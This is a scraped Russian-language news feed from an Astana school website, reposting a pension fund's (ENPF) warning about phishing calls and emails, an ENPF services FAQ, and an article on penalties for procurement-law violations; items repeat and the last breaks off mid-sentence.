мошенниках http://24.astana-bilim.kz/news/?pkid=1545379934436619АО «ЕНПФ» информирует вкладчиков о том, что от неизвестных мошенников поступают звонки и рассылаются электронные письма, содержащие сообщение о выигрыше приза от АО «ЕНПФ» и предложение для подтверждения персональных данных перейти по ссылке на сторонний ресурс и сообщить свои банковские реквизиты. Таким образом проводится попытка получения несанкционированного доступа к персональным данным вкладчиков. АО «ЕНПФ» доводит до сведения всех своих вкладчиков, что Фонд не проводит никаких акций по розыгрышам призов, не занимается сбором персональных данных электронным способом и не предоставляет кому-либо права проводить их от своего имени. Уважаемые вкладчики! В случае получения подобного электронного сообщения, телефонного звонка или СМС-сообщения, игнорируйте и не переходите по ссылкам в электронных письмах в целях сохранения конфиденциальности своих персональных данных. Проявляйте осторожность и осмотрительность, никогда не передавайте информацию личного характера незнакомым людям, особенно, если они прикрываются названиями крупных компаний. Не доверяйте тем, кто обещает призы и выигрыши. Будьте бдительны, предупредите своих родных и близких людей. Просьба: обо всех случаях поступления подобного рода звонков и писем сообщать в call-центр ЕНПФ 1418. АО «ЕНПФ» не несет ответственность за действия неизвестных лиц по проведению вышеуказанных розыгрышей.АО «ЕНПФ» информирует вкладчиков о том, что от неизвестных мошенников поступают звонки и рассылаются электронные письма, содержащие сообщение о выигрыше приза от АО «ЕНПФ» и предложение для подтверждения персональных данных перейти по ссылке на сторонний ресурс и сообщить свои банковские реквизиты. Таким образом проводится попытка получения несанкционированного доступа к персональным данным вкладчиков. АО «ЕНПФ» доводит до сведения всех своих вкладчиков, что Фонд не проводит никаких акций по розыгрышам призов, не занимается сбором персональных данных электронным способом и не предоставляет кому-либо права проводить их от своего имени. Уважаемые вкладчики! В случае получения подобного электронного сообщения, телефонного звонка или СМС-сообщения, игнорируйте и не переходите по ссылкам в электронных письмах в целях сохранения конфиденциальности своих персональных данных. Проявляйте осторожность и осмотрительность, никогда не передавайте информацию личного характера незнакомым людям, особенно, если они прикрываются названиями крупных компаний. Не доверяйте тем, кто обещает призы и выигрыши. Будьте бдительны, предупредите своих родных и близких людей. Просьба: обо всех случаях поступления подобного рода звонков и писем сообщать в call-центр ЕНПФ 1418. АО «ЕНПФ» не несет ответственность за действия неизвестных лиц по проведению вышеуказанных розыгрышей.24mektepFri, 21 Dec 2018 14:10:35 +0600http://24.astana-bilim.kz/news/?pkid=1545379934436619Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=15453799344366195 вопросов_сервисы ЕНПФhttp://24.astana-bilim.kz/news/?pkid=15453798322160965 вопросов<ol><li> Мой папа – инвалид и не может самостоятельно передвигаться без посторонней помощи. Ему надо решить некоторые вопросы с пенсионным фондом. Отделение ЕНПФ находится далеко, сам он не доедет, а я целыми днями на работе. Подскажите, как быть в этой ситуации?</li></ol> ЕНПФ обеспечивает доступность пенсионных услуг всем гражданам, иностранцам и лицам без гражданства, постоянно проживающим на территории Республики Казахстан.К тем, кто по каким-либо причинам, прежде всего, по состоянию здоровья, не может лично посетить офисы ЕНПФ, специалисты Фонда приезжают сами. Вы можете для своего отца заказать услугу «Мобильный агент». Для этого надо подать заявку на выездное обслуживание для социально-уязвимых слоев населения, позвонив в Call-центр либо оформив ее на сайте ЕНПФ в разделе «Электронные сервисы». Подробней об этой услуге Вы можете, пройдя по ссылке <a href="https://www.enpf.kz/ru/elektronnye-servisy/mo.php">https://www.enpf.kz/ru/elektronnye-servisy/mo.php</a>Если у Вашего отца есть актуальный ключ электронной цифровой подписи (ЭЦП), то он может с его помощью на сайте ЕНПФ, получить практически всю линейку услуг в электронном формате, начиная от заключения договора до получения выплаты. <ol start="2"><li> Я работаю 6 дней в неделю, суббота - тоже рабочий день. У меня нет возможности лично посетить отделение ЕНПФ. Как быть таким, как я?</li></ol>ЕНПФ старается идти в ногу со временем. Сегодня большая часть услуг Фонда оказывается дистанционно, вкладчику совсем необязательно приходить в отделение, чтобы решить свои вопросы. ЕНПФ предлагает системы удаленного обслуживания, так с помощью дистанционных каналов обслуживания - Call-центр и служба обратной связи через интернет-каналы –вы можете получить индивидуальную консультацию.МенеджерCall-центра, выслушав Ваш вопрос, в зависимости от его характера, может либо сразу его решить, либо порекомендовать, какие дальнейшие шаги надо предпринять в этой ситуации.Кроме того, имея актуальный ключ электронной цифровой подписи (ЭЦП), Вы с его помощью можете осуществить любую операцию на сайте Фонда.Так, к примеру, можно подать заявление на открытие индивидуального пенсионного счета, получить выписку со своего счета, внести изменения в свои реквизиты, а также изменить способ информирования, выбрав интернет-информирование, подать заявление на получение выплаты и отследить его статус. Кроме того, запущена новая электронная услуга «Получение дубликата заявления об открытии индивидуального пенсионного счета», а также разработан сервис «Заключение договора за счет добровольных пенсионных взносов в свою пользу», который уже функционирует.<ol start="3"><li> Мне через десять лет выходить на пенсию, хотелось бы приблизительно знать, сколько я буду получать? Как рассчитывается размер ежемесячных выплат?</li></ol>Совокупная пенсия в Республике Казахстан включает в себя пенсии из государственного бюджета: базовую и солидарную, выплаты из ЕНПФ, сформированные за счет обязательных пенсионных взносов и добровольный компонент.С 1 июля 2018 года изменен механизм начисления базовой пенсии. Ее размер зависит от стажа работы на 1 января 1998 года и стажа участия в накопительной пенсионной системе. Теперь применяется новая методика расчета базовой пенсии, которая начисляется по-новому – в расчет берется стаж участия граждан в пенсионной системе. Тот, у кого трудовой стаж больше – получает больше. При этом будет учитываться не только период поступлений пенсионных взносов в накопительную пенсионную систему после 1998 года, но и трудовой стаж до 1998 года. Вопросами начисления базовой пенсии из государственного бюджета занимается некоммерческое акционерное общество «Государственная корпорация «Правительство для граждан». Поэтому все вопросы относительно назначения базовой пенсии Вам необходимо адресовать в эту организацию. Связаться с корпорацией можно по единому бесплатному номеру «1414» или написать им в социальных сетях Facebook, Twitter и Instagram.Что касается накопительной части пенсии из ЕНПФ за счет обязательных пенсионных взносов (ОПВ) и ОППВ. Для того чтобы посчитать сумму ежемесячных выплат, используется таблица коэффициентов текущей стоимости пенсионных накоплений, которая утверждена постановлением Правительства Республики Казахстан. Сумма ежемесячных выплат зависит от возраста получателя, а также от суммы, которая находится на индивидуальном пенсионном счете. В зависимости от возраста получателя сумма пенсионных накоплений умножается на соответствующий коэффициент и делится на 12 (месяцев). Это и есть размер ежемесячной выплаты из ЕНПФ.Надо отметить, что чем больше сумма накоплений, тем выше будет ежемесячная выплата и тем дольше эти выплаты будут осуществляться. Выплаты по этому компоненту будут зависеть только от самого человека — сколько накопил за всю свою трудовую жизнь, столько и получишь при выходе на пенсию. Таким образом, граждане уже сейчас должны делать накопления регулярно и в полном объеме, в ином случае они вряд ли смогут рассчитывать на достойную пенсию.Новая методика получения пенсионных выплат как раз наглядно демонстрирует, насколько важно формировать своевременно пенсионные накопления и как на размер выплат влияет сумма накоплений, которая в свою очередь находится в прямой зависимости от размера, полноты и регулярности пенсионных взносов. К примеру, если у одного вкладчика на счете 6 млн, а у другого — всего миллион, конечно, они будут получать разные ежемесячные выплаты.Пенсионный калькулятор, размещенный на сайте ЕНПФ, уже сейчас позволяет просчитать предполагаемый размер будущей пенсии и наглядно показывает, что даже минимальные добровольные взносы, производимые на регулярной основе, позволяют ощутимо увеличить свои пенсионные накопления. Самостоятельно можно произвести прогнозный расчет ежемесячной совокупной пенсии (она включает солидарную и базовую), используя пенсионный калькулятор на сайте ЕНПФ www.enpf.kz в разделе “Электронные сервисы” <a href="https://www.enpf.kz/ru/elektronnye-servisy/calcs.php">https://www.enpf.kz/ru/elektronnye-servisy/calcs.php</a>Для этого нужно указать в соответствующих полях пенсионного калькулятора данные о трудовом стаже (с самого начала трудовой деятельности), сумму пенсионных накоплений и сумму заработной платы.Кроме того, можно воспользоваться новой услугой, предоставляемой АО «ЕНПФ» - персональное консультирование вкладчиков (получателей) по вопросам планирования пенсии. Фонд в апреле 2018 года запустил услугу по персональному консультированию с использованием моделей индивидуального и корпоративного пенсионного калькулятора. Эта услуга пользуется популярностью у населения. Так, в августе 2018 года филиалы АО «ЕНПФ» провели 58 107 консультаций по вопросам планирования пенсии.Вы можете обратиться в ближайшее отделение Фонда, где Вы получите подробную консультацию по персональному планированию пенсии.<ol start="4"><li>Мне нужно открыть пенсионный счет, нужно оплачивать что-нибудь, если нужно, сколько? И что нужно иметь при себе?</li></ol>Открытие пенсионного счета осуществляется совершенно бесплатно. Договор о пенсионном обеспечении за счет обязательных пенсионных взносов (договор присоединения) устанавливает права, обязанности и ответственность, предусмотренные Законом, а также иные особенности правоотношений между ЕНПФ, вкладчиком обязательных пенсионных взносов (получателем пенсионных выплат за счет обязательных пенсионных взносов).Если Вы ранее не заключали договор о пенсионном обеспечении, Вам необходимо написать заявление об открытии индивидуального пенсионного счета (ИПС). ИПС - личный именной счет вкладчика (получателя пенсионных выплат), на котором учитываются обязательные пенсионные взносы либо обязательные профессиональные пенсионные взносы, либо добровольные пенсионные взносы, инвестиционный доход, пеня и иные поступления в соответствии с законодательством Республики Казахстан и с которого производятся пенсионные выплаты.Для оформления заявления об открытии ИПС при обращении в офис ЕНПФ представляются следующие документы:- при личном обращении – документ, удостоверяющий личность (оригинал); - при обращении поверенного лица – документ, удостоверяющий личность поверенного лица (оригинал), нотариально засвидетельствованная доверенность либо ее нотариально засвидетельствованная копия, нотариально засвидетельствованная копия документа, удостоверяющего личность вкладчика (получателя). Также Вы можете подать заявление об открытии ИПС, используя электронные услуги на сайте ЕНПФ по адресу: <a href="https://www.enpf.kz/ru/uslugi/budushchim-pensioneram/otkrytie-individualnogo-pensionnogo-scheta-ips-za-schet-obyazatelnykh-pensionnykh-vznosov-opv.php">https://www.enpf.kz/ru/uslugi/budushchim-pensioneram/otkrytie-individualnogo-pensionnogo-scheta-ips-za-schet-obyazatelnykh-pensionnykh-vznosov-opv.php</a>Для этого у Вас должен быть актуальный ключ электронной цифровой подписи (ЭЦП) либо доступ в личный кабинет.Кроме этого, также можно воспользоваться и другими электронными услугами на сайте enpf.kz: это подача заявления на открытие пенсионного счета, внесение изменений в свои реквизиты, выбор интернет-информирования, подача заявления на получение выплаты и отслеживание онлайн его исполнения. В этом году через сайт enpf.kz стало возможным получение дубликата пенсионного договора,а также разработан сервис «Заключение договора за счет добровольных пенсионных взносов в свою пользу». Использование электронных услуг занимает всего лишь несколько минут.Помимо уже ставших классическими, таких каналов коммуникаций, как: «Facebook», «ВКонтакте», «Твиттер», «Одноклассники» и «Instagram», в этом году Фонд внедрил чатботы в мессенджерах Telegram и Whatsapp. Все каналы коммуникаций позволяют получить необходимую информацию о пенсионной системе и деятельности ЕНПФ, а также в случае необходимости обратиться к специалистам Фонда и получить разъяснения по конкретным индивидуальным вопросам. Недавно был запущен канал взаимодействия с вкладчиками в Whatsapp (по номеру 8-777-000-1418), в котором также можно быстро получить информацию в автоматическом режиме, без необходимости звонка или посещения отделений Фонда. Информационные технологии, используемые ЕНПФ, помогают совершенствовать и развивать качество и доступность пенсионных услуг.<ol start="5"><li> В отделении ЕНПФ менеджер предложила мне персональную консультацию. Я тогда не решил воспользоваться, потому что не знал, платная она или нет? </li></ol> Помимо качественного оказания услуг Фондом ставит перед собой цель - повысить уровень финансово-правовой грамотности казахстанцев в сфере пенсионного обеспечения, укрепить доверие к накопительной пенсионной системе. Так, в апреле 2018 года Фонд запустил услугу по персональному консультированию, которая предоставляется совершенно бесплатно. Во время проведения консультаций вкладчиков (получателей), прежде всего, волнуют такие вопросы, как срок выхода на пенсию, возможность делать взносы самостоятельно, инвестиционный доход и гарантия сохранности пенсионных накоплений, и, конечно, размер пенсии и способы его увеличения. На эти и многие другие вопросы консультанты Фонда дают исчерпывающие ответы, помогая рассчитать размер пенсионных выплат и подсказать способы их увеличения. Всего за 2 месяца III квартала 2018 г. филиалами Фонда проведено 109 889 консультаций, что составляет 93% от общего количества консультаций, предоставленных во II квартале 2018 г. С начала запуска проекта филиалами Фонда предоставлено 228 406 консультаций. 5 вопросов<ol><li> Мой папа – инвалид и не может самостоятельно передвигаться без посторонней помощи. Ему надо решить некоторые вопросы с пенсионным фондом. Отделение ЕНПФ находится далеко, сам он не доедет, а я целыми днями на работе. Подскажите, как быть в этой ситуации?</li></ol> ЕНПФ обеспечивает доступность пенсионных услуг всем гражданам, иностранцам и лицам без гражданства, постоянно проживающим на территории Республики Казахстан.К тем, кто по каким-либо причинам, прежде всего, по состоянию здоровья, не может лично посетить офисы ЕНПФ, специалисты Фонда приезжают сами. Вы можете для своего отца заказать услугу «Мобильный агент». Для этого надо подать заявку на выездное обслуживание для социально-уязвимых слоев населения, позвонив в Call-центр либо оформив ее на сайте ЕНПФ в разделе «Электронные сервисы». Подробней об этой услуге Вы можете, пройдя по ссылке <a href="https://www.enpf.kz/ru/elektronnye-servisy/mo.php">https://www.enpf.kz/ru/elektronnye-servisy/mo.php</a>Если у Вашего отца есть актуальный ключ электронной цифровой подписи (ЭЦП), то он может с его помощью на сайте ЕНПФ, получить практически всю линейку услуг в электронном формате, начиная от заключения договора до получения выплаты. <ol start="2"><li> Я работаю 6 дней в неделю, суббота - тоже рабочий день. У меня нет возможности лично посетить отделение ЕНПФ. Как быть таким, как я?</li></ol>ЕНПФ старается идти в ногу со временем. Сегодня большая часть услуг Фонда оказывается дистанционно, вкладчику совсем необязательно приходить в отделение, чтобы решить свои вопросы. ЕНПФ предлагает системы удаленного обслуживания, так с помощью дистанционных каналов обслуживания - Call-центр и служба обратной связи через интернет-каналы –вы можете получить индивидуальную консультацию.МенеджерCall-центра, выслушав Ваш вопрос, в зависимости от его характера, может либо сразу его решить, либо порекомендовать, какие дальнейшие шаги надо предпринять в этой ситуации.Кроме того, имея актуальный ключ электронной цифровой подписи (ЭЦП), Вы с его помощью можете осуществить любую операцию на сайте Фонда.Так, к примеру, можно подать заявление на открытие индивидуального пенсионного счета, получить выписку со своего счета, внести изменения в свои реквизиты, а также изменить способ информирования, выбрав интернет-информирование, подать заявление на получение выплаты и отследить его статус. Кроме того, запущена новая электронная услуга «Получение дубликата заявления об открытии индивидуального пенсионного счета», а также разработан сервис «Заключение договора за счет добровольных пенсионных взносов в свою пользу», который уже функционирует.<ol start="3"><li> Мне через десять лет выходить на пенсию, хотелось бы приблизительно знать, сколько я буду получать? Как рассчитывается размер ежемесячных выплат?</li></ol>Совокупная пенсия в Республике Казахстан включает в себя пенсии из государственного бюджета: базовую и солидарную, выплаты из ЕНПФ, сформированные за счет обязательных пенсионных взносов и добровольный компонент.С 1 июля 2018 года изменен механизм начисления базовой пенсии. Ее размер зависит от стажа работы на 1 января 1998 года и стажа участия в накопительной пенсионной системе. Теперь применяется новая методика расчета базовой пенсии, которая начисляется по-новому – в расчет берется стаж участия граждан в пенсионной системе. Тот, у кого трудовой стаж больше – получает больше. При этом будет учитываться не только период поступлений пенсионных взносов в накопительную пенсионную систему после 1998 года, но и трудовой стаж до 1998 года. Вопросами начисления базовой пенсии из государственного бюджета занимается некоммерческое акционерное общество «Государственная корпорация «Правительство для граждан». Поэтому все вопросы относительно назначения базовой пенсии Вам необходимо адресовать в эту организацию. Связаться с корпорацией можно по единому бесплатному номеру «1414» или написать им в социальных сетях Facebook, Twitter и Instagram.Что касается накопительной части пенсии из ЕНПФ за счет обязательных пенсионных взносов (ОПВ) и ОППВ. Для того чтобы посчитать сумму ежемесячных выплат, используется таблица коэффициентов текущей стоимости пенсионных накоплений, которая утверждена постановлением Правительства Республики Казахстан. Сумма ежемесячных выплат зависит от возраста получателя, а также от суммы, которая находится на индивидуальном пенсионном счете. В зависимости от возраста получателя сумма пенсионных накоплений умножается на соответствующий коэффициент и делится на 12 (месяцев). Это и есть размер ежемесячной выплаты из ЕНПФ.Надо отметить, что чем больше сумма накоплений, тем выше будет ежемесячная выплата и тем дольше эти выплаты будут осуществляться. Выплаты по этому компоненту будут зависеть только от самого человека — сколько накопил за всю свою трудовую жизнь, столько и получишь при выходе на пенсию. Таким образом, граждане уже сейчас должны делать накопления регулярно и в полном объеме, в ином случае они вряд ли смогут рассчитывать на достойную пенсию.Новая методика получения пенсионных выплат как раз наглядно демонстрирует, насколько важно формировать своевременно пенсионные накопления и как на размер выплат влияет сумма накоплений, которая в свою очередь находится в прямой зависимости от размера, полноты и регулярности пенсионных взносов. К примеру, если у одного вкладчика на счете 6 млн, а у другого — всего миллион, конечно, они будут получать разные ежемесячные выплаты.Пенсионный калькулятор, размещенный на сайте ЕНПФ, уже сейчас позволяет просчитать предполагаемый размер будущей пенсии и наглядно показывает, что даже минимальные добровольные взносы, производимые на регулярной основе, позволяют ощутимо увеличить свои пенсионные накопления. Самостоятельно можно произвести прогнозный расчет ежемесячной совокупной пенсии (она включает солидарную и базовую), используя пенсионный калькулятор на сайте ЕНПФ www.enpf.kz в разделе “Электронные сервисы” <a href="https://www.enpf.kz/ru/elektronnye-servisy/calcs.php">https://www.enpf.kz/ru/elektronnye-servisy/calcs.php</a>Для этого нужно указать в соответствующих полях пенсионного калькулятора данные о трудовом стаже (с самого начала трудовой деятельности), сумму пенсионных накоплений и сумму заработной платы.Кроме того, можно воспользоваться новой услугой, предоставляемой АО «ЕНПФ» - персональное консультирование вкладчиков (получателей) по вопросам планирования пенсии. Фонд в апреле 2018 года запустил услугу по персональному консультированию с использованием моделей индивидуального и корпоративного пенсионного калькулятора. Эта услуга пользуется популярностью у населения. Так, в августе 2018 года филиалы АО «ЕНПФ» провели 58 107 консультаций по вопросам планирования пенсии.Вы можете обратиться в ближайшее отделение Фонда, где Вы получите подробную консультацию по персональному планированию пенсии.<ol start="4"><li>Мне нужно открыть пенсионный счет, нужно оплачивать что-нибудь, если нужно, сколько? И что нужно иметь при себе?</li></ol>Открытие пенсионного счета осуществляется совершенно бесплатно. Договор о пенсионном обеспечении за счет обязательных пенсионных взносов (договор присоединения) устанавливает права, обязанности и ответственность, предусмотренные Законом, а также иные особенности правоотношений между ЕНПФ, вкладчиком обязательных пенсионных взносов (получателем пенсионных выплат за счет обязательных пенсионных взносов).Если Вы ранее не заключали договор о пенсионном обеспечении, Вам необходимо написать заявление об открытии индивидуального пенсионного счета (ИПС). ИПС - личный именной счет вкладчика (получателя пенсионных выплат), на котором учитываются обязательные пенсионные взносы либо обязательные профессиональные пенсионные взносы, либо добровольные пенсионные взносы, инвестиционный доход, пеня и иные поступления в соответствии с законодательством Республики Казахстан и с которого производятся пенсионные выплаты.Для оформления заявления об открытии ИПС при обращении в офис ЕНПФ представляются следующие документы:- при личном обращении – документ, удостоверяющий личность (оригинал); - при обращении поверенного лица – документ, удостоверяющий личность поверенного лица (оригинал), нотариально засвидетельствованная доверенность либо ее нотариально засвидетельствованная копия, нотариально засвидетельствованная копия документа, удостоверяющего личность вкладчика (получателя). Также Вы можете подать заявление об открытии ИПС, используя электронные услуги на сайте ЕНПФ по адресу: <a href="https://www.enpf.kz/ru/uslugi/budushchim-pensioneram/otkrytie-individualnogo-pensionnogo-scheta-ips-za-schet-obyazatelnykh-pensionnykh-vznosov-opv.php">https://www.enpf.kz/ru/uslugi/budushchim-pensioneram/otkrytie-individualnogo-pensionnogo-scheta-ips-za-schet-obyazatelnykh-pensionnykh-vznosov-opv.php</a>Для этого у Вас должен быть актуальный ключ электронной цифровой подписи (ЭЦП) либо доступ в личный кабинет.Кроме этого, также можно воспользоваться и другими электронными услугами на сайте enpf.kz: это подача заявления на открытие пенсионного счета, внесение изменений в свои реквизиты, выбор интернет-информирования, подача заявления на получение выплаты и отслеживание онлайн его исполнения. В этом году через сайт enpf.kz стало возможным получение дубликата пенсионного договора,а также разработан сервис «Заключение договора за счет добровольных пенсионных взносов в свою пользу». Использование электронных услуг занимает всего лишь несколько минут.Помимо уже ставших классическими, таких каналов коммуникаций, как: «Facebook», «ВКонтакте», «Твиттер», «Одноклассники» и «Instagram», в этом году Фонд внедрил чатботы в мессенджерах Telegram и Whatsapp. Все каналы коммуникаций позволяют получить необходимую информацию о пенсионной системе и деятельности ЕНПФ, а также в случае необходимости обратиться к специалистам Фонда и получить разъяснения по конкретным индивидуальным вопросам. Недавно был запущен канал взаимодействия с вкладчиками в Whatsapp (по номеру 8-777-000-1418), в котором также можно быстро получить информацию в автоматическом режиме, без необходимости звонка или посещения отделений Фонда. Информационные технологии, используемые ЕНПФ, помогают совершенствовать и развивать качество и доступность пенсионных услуг.<ol start="5"><li> В отделении ЕНПФ менеджер предложила мне персональную консультацию. Я тогда не решил воспользоваться, потому что не знал, платная она или нет? </li></ol> Помимо качественного оказания услуг Фондом ставит перед собой цель - повысить уровень финансово-правовой грамотности казахстанцев в сфере пенсионного обеспечения, укрепить доверие к накопительной пенсионной системе. Так, в апреле 2018 года Фонд запустил услугу по персональному консультированию, которая предоставляется совершенно бесплатно. Во время проведения консультаций вкладчиков (получателей), прежде всего, волнуют такие вопросы, как срок выхода на пенсию, возможность делать взносы самостоятельно, инвестиционный доход и гарантия сохранности пенсионных накоплений, и, конечно, размер пенсии и способы его увеличения. На эти и многие другие вопросы консультанты Фонда дают исчерпывающие ответы, помогая рассчитать размер пенсионных выплат и подсказать способы их увеличения. Всего за 2 месяца III квартала 2018 г. филиалами Фонда проведено 109 889 консультаций, что составляет 93% от общего количества консультаций, предоставленных во II квартале 2018 г. С начала запуска проекта филиалами Фонда предоставлено 228 406 консультаций. 24mektepFri, 21 Dec 2018 14:09:10 +0600http://24.astana-bilim.kz/news/?pkid=1545379832216096Сайт школы №24 г.Астанаhttp://24.astana-bilim.kz/news/?pkid=1545379832216096Последствия нарушения законодательства в сфере государственных закупокhttp://24.astana-bilim.kz/news/?pkid=1544160872047111Последствия нарушения законодательства в сфере государственных закупок Организация и проведение государственных закупок требует огромного внимания, знаний и навыки в сфере государственных закупок. Наряду с этим немало случаев, когда должностные лица в силу незнания законов и последствий нарушения процедур государственных закупок допускают такие нарушения, которые влекут за собой административную ответственность.В этой связи, предлагаем рассмотреть виды нарушений и ответственность. Административная ответственность за нарушение законодательства Республики Казахстан о государственных закупках предусмотрена статьей 207 Кодекс Республики Казахстан от 5 июля 2014 года № 235-V ЗРК «Об административных правонарушениях» (далее - Кодекс). Так, согласно части первой вышеуказанной статьи Кодекса административная ответственность предусмотрена за нарушение требований законодательства Республики Казахстан о государственных закупках к конкурсной документации (аукционной документации) либо в размещаемой информации при осуществлении государственных закупок способом запроса ценовых предложений, путем установления любых не измеряемых количественно и (или) неадминистрируемых требований к потенциальным поставщикам либо указания на характеристики, определяющие принадлежность приобретаемых товаров, работ, услуг отдельным потенциальным поставщикам, за исключением случаев, предусмотренных законодательством Республики Казахстан о государственных закупках и влечет штраф на должностных лиц в размере 50 МРП. Субъектом данного правонарушения является – первый руководитель организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок, и (или) лиц, непосредственно участвующих в разработке конкурсной документации (аукционной документации). Часть вторая рассматриваемой статьи предусматривает ответственность за несвоевременное рассмотрение замечаний к проекту конкурсной документации (аукционной документации), поступивших в рамках предварительного обсуждения проекта конкурсной документации (аукционной документации), а равно несвоевременное размещение на веб-портале государственных закупок протокола предварительного обсуждения проекта конкурсной документации (аукционной документации), а также текста конкурсной документации (аукционной документации) и влечет штраф на должностных лиц в размере 30 МРП. Под должностным лицом за данное правонарушение является первый руководитель организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок.Ответственность за отказ от осуществления государственных закупок в случаях, не предусмотренных законодательством Республики Казахстан о государственных закупках, предусмотрена в части третей статьи 207 Кодекса и за совершение которого на первого руководителя либо ответственного секретаря или иного осуществляющего полномочия ответственного секретаря должностного лица, определяемого Президентом Республики Казахстан, заказчика либо лица, исполняющего его обязанности лицо налагается административный штраф в размере 100 МРП. За направление запроса и иные действия конкурсной комиссии (аукционной комиссии), связанные с дополнением заявки на участие в конкурсе (аукционе) недостающими документами, заменой документов, представленных в заявке на участие в конкурсе (аукционе), приведением в соответствие ненадлежащим образом оформленных документов, после истечения срока приведения заявок на участие в конкурсе (аукционе) в соответствие с квалификационными требованиями и требованиями конкурсной документации (аукционной документации), предусмотренными законодательством Республики Казахстан о государственных закупках, ответственность предусмотрена частью 4 рассматриваемой статьи Кодекса. За данное правонарушение предусмотрена административная ответственность в виде штрафа на должностных лиц в размере 100 МРП. Под должностным лицом в данное части понимается председатель конкурсной комиссии (аукционной комиссии) и его заместитель, а также члены и секретарь конкурсной комиссии (аукционной комиссии). Кроме того, частью пятой статьи 207 Кодекса предусмотрена ответственность за установление в конкурсной документации (аукционной документации) к потенциальным поставщикам и (или) к привлекаемым ими субподрядчикам (соисполнителям) работ либо услуг квалификационных требований, не предусмотренных законодательством Республики Казахстан о государственных закупках. За нарушение данное нормы влечет ответственность в виде штрафа на должностных лиц в размере 100 МРП. Должностным лицом по данному нарушению является первый руководитель либо ответственный секретарь или иное осуществляющее полномочия ответственного секретаря должностное лицо, определяемое Президентом Республики Казахстан, заказчика либо лица, исполняющего его обязанности. За нарушение требований законодательства Республики Казахстан о государственных закупках в части невключения в конкурсную документацию критериев, влияющих на конкурсное ценовое предложение участников конкурса, влечет штраф на первых руководителей организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок, в размере 50 МРП. Часть седьмая статьи 207 Кодекса предусматривает административную ответственность за нарушение требований законодательства Республики Казахстан о государственных закупках в части неприменения к конкурсным ценовым предложениям относительного значения критериев, влияющих на конкурсное ценовое предложение участников конкурса, и влечет штраф на должностных лиц в размере 50 МРП. В данном же случае под должностными лицами понимаются председатель конкурсной комиссии и его заместитель, а также члены конкурсной комиссии. Административная ответственность также предусмотрена за признание потенциального поставщика и (или) привлекаемых им субподрядчиков (соисполнителей) работ либо услуг несоответствующими квалификационным требованиям и (или) требованиям конкурсной документации (аукционной документации) по основаниям, не предусмотренным законодательством Республики Казахстан о государственных закупках. За данный вид нарушения предусматривает штраф на председателя конкурсной комиссии (аукционной комиссии) и его заместителя, а также членов конкурсной комиссии (аукционной комиссии) в размере 100 МРП (часть восьмая). За неразделение на лоты при осуществлении государственных закупок в случаях, предусмотренных Законом Республики Казахстан "О государственных закупках", предусмотрен штраф на должностных лиц в размере 50 МРП (часть девятая).Ответственность за данное нарушение несут первые руководители организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок. Ответственность за подготовка экспертной комиссией либо экспертом заведомо ложного экспертного заключения, на основании которого принято незаконное решение конкурсной комиссией (аукционной комиссией), предусмотрена частью десятой статьи 207 Кодекса и влечет штраф в размере 50 МРП. В соответствии с часть одиннадцать статьи 207 Кодекса, на должностных лиц предусмотрен штраф в размере 30 МРП за необращение или несвоевременное обращение заказчика в суд с иском о признании потенциальных поставщиков, поставщиков недобросовестными участниками государственных закупок в случаях:1) когда заказчик в одностороннем порядке расторг с поставщиком договор о государственных закупках, в ходе исполнения которого установлено, что поставщик не соответствует квалификационным требованиям и требованиям конкурсной документации (аукционной документации) или предоставил недостоверную информацию о своем соответствии таким требованиям, что позволило ему стать победителем конкурса (аукциона), по результатам которой заключен такой договор;2) неисполнения либо ненадлежащего исполнения поставщиком обязательств по заключенному с ним договору о государственных закупках.Ответственность за данное нарушение несут первые руководители организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок.Особенно часто встречающимся видом нарушения является осуществление государственных закупок способом из одного источника путем прямого заключения договора о государственных закупках в случаях, не предусмотренных законодательством Республики Казахстан о государственных закупках. Данный вид нарушения предусмотрен частью двенадцать статьи 207 Кодекса и предусматривает штраф на должностных лиц в размере 100 МРП.Ответственность за данное нарушение несут первые руководители организатора государственных закупок, заказчика или лиц, исполняющих их обязанности, ответственных за осуществление процедур организации и проведения государственных закупок. И наконец, в связи с внедрением предварительного протокола допуска и обеспечения прозрачности принятых решений организаторами государственных закупок частью тринадцать статьи 207 предусмотрена административная ответственность за неуказание в протоколах предварительного допуска на участие в конкурсе (аукционе), об итогах государственных закупок способом конкурса (аукциона) подробного описания причин отклонения заявки потенциального поставщика на участие в конкурсе (аукционе), в том числе сведений и документов, подтверждающих его несоответствие квалификационным требованиям и требованиям конкурсной документации (аукционной документации). За данный вид нарушения законодательством предусмотрена ответственность в виде штрафа на должностных лиц в размере 10 МРП. Подводя итоги вышесказанного, во избежание нарушений норм законодательствам в сфере государственных закупок и административной ответственности соответственно, рекомендуется уделять особое внимание при принятии решения на стадии утверждения конкурсной документации (аукционной документации) либо в размещаемой информации при осуществлении государственных закупок способом запроса ценовых предложений, рассмотрения замечаний к проекту конкурсной документации (аукционной документации), поступивших в рамках предварительного обсуждения проекта конкурсной документации (аукционной документации), при принятии решения об отказе от осуществления государственных закупок, при принятии решения о признании потенциальных поставщиков не соответствующими квалификационным требованиям и требованиям конкурсной документации, при осуществлении государственных закупок способом из одного источника путем прямого заключения договора и на стадии исполнения договора, в случаях предусмотренных частью одиннадцать рассматриваемой статьи Кодекса. Руководитель отдела камерального контроляДепартамента внутреннего государственногоАудита по городу Астана Исахметов Талгат Айдарбекович Руководитель отдела планирования, анализа и отчетности Департамента внутреннего государственного аудита по г.Астана Байкуанышов А.А. Последствия нарушения законодательства в сфере государственных закупок Организация и проведение государственных закупок требует огромного внимания, знаний и навыки в сфере государственных закупок. Наряду с этим немало случаев, когда должностные лица в силу незнания законов и последствий нарушения процедур государственных закупок допускают такие нарушения, которые влекут за собой административную ответственность.В этой связи, предлагаем рассмотреть виды нарушений и ответственность. Административная ответственность за нарушение законодательства Республики Казахстан о государственных закупках предусмотрена статьей 207 Кодекс Республики Казахстан от 5 июля 2014 года № 235-V ЗРК «Об административных правонарушениях» (далее - Кодекс). Так, согласно части первой вышеуказанной статьи Кодекса административная ответственность предусмотрена за нарушение требований законодательства Республики Казахстан о государственных закупках к конкурсной документации (аукционной документации) либо в размещаемой информации при осуществлении государственных 